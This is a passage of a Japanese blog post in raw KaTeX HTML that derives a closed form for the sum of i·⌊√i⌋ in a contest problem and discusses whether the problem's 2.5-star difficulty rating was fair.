M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.1133em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span> &#x306B;&#x51FA;&#x6765;&#x305D;&#x3046;&#x3067;&#x3059;&#x3088;&#x306D;&#x3002;<br>
&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x3001;</p>
<p class="katex-block "><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9636em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">i</span></span></span><span style="top:-2.9236em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.0764em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.3376em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.0599em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.386em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">&#x230A;</span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span><span class="mclose mtight"><span class="mclose mtight">&#x230B;</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9636em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">i</span></span></span><span style="top:-2.9236em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.0764em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.2065em;vertical-align:-1.5551em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.7699em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mopen mtight">&#x230A;</span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span><span class="mclose mtight"><span class="mclose mtight">&#x230B;</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.5551em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9636em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">i</span></span></span><span style="top:-2.9236em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.0764em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">20</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mopen">(&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord">8</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose"><span class="mclose">&#x230B;</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">5</span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">)</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">&#x230B;</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose"><span class="mclose">&#x230B;</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">&#x230A;</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewbox="0 0 400000 1080" preserveaspectratio="xMinYMin slice"><path d="M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose"><span class="mclose">&#x230B;</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p>
<p>&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306F;&#x9AD8;&#x6821;&#x751F;&#x3067;&#x3082;&#x7FA4;&#x6570;&#x5217;&#x306E;&#x5206;&#x91CE;&#x3068;&#x304B;&#x3067;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;&#x7D50;&#x5C40;&#x9AD8;&#x6821;&#x7BC4;&#x56F2;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<p>&#x3088;&#x3063;&#x3066;&#x3001;&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;&#x9AD8;&#x6821;&#x6570;&#x5B66;&#x3067;&#x89E3;&#x3051;&#x308B;&#x306E;&#x3067; &#x661F;2.5 &#x3067;&#x3044;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<p>&#x3063;&#x3066;&#x3057;&#x305F;&#x3089;&#x3001;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x5F8C;&#x306B;X&#x3068;&#x304B;&#x3067;&#x300C;&#x661F;2.5&#x3058;&#x3083;&#x306A;&#x3044;&#x3060;&#x308D;&#x300D;&#x3063;&#x3066;&#x610F;&#x898B;&#x304C;&#x898B;&#x3089;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x7D50;&#x5C40;&#x96E3;&#x6613;&#x5EA6;&#x306E;&#x9069;&#x6B63;&#x306F;&#x4F55;&#x3060;&#x3063;&#x305F;&#x3093;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;...</p>
<p>&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;&#x6CA1;&#x6848;&#x3068;&#x3057;&#x3066;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306A;&#x3082;&#x306E;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
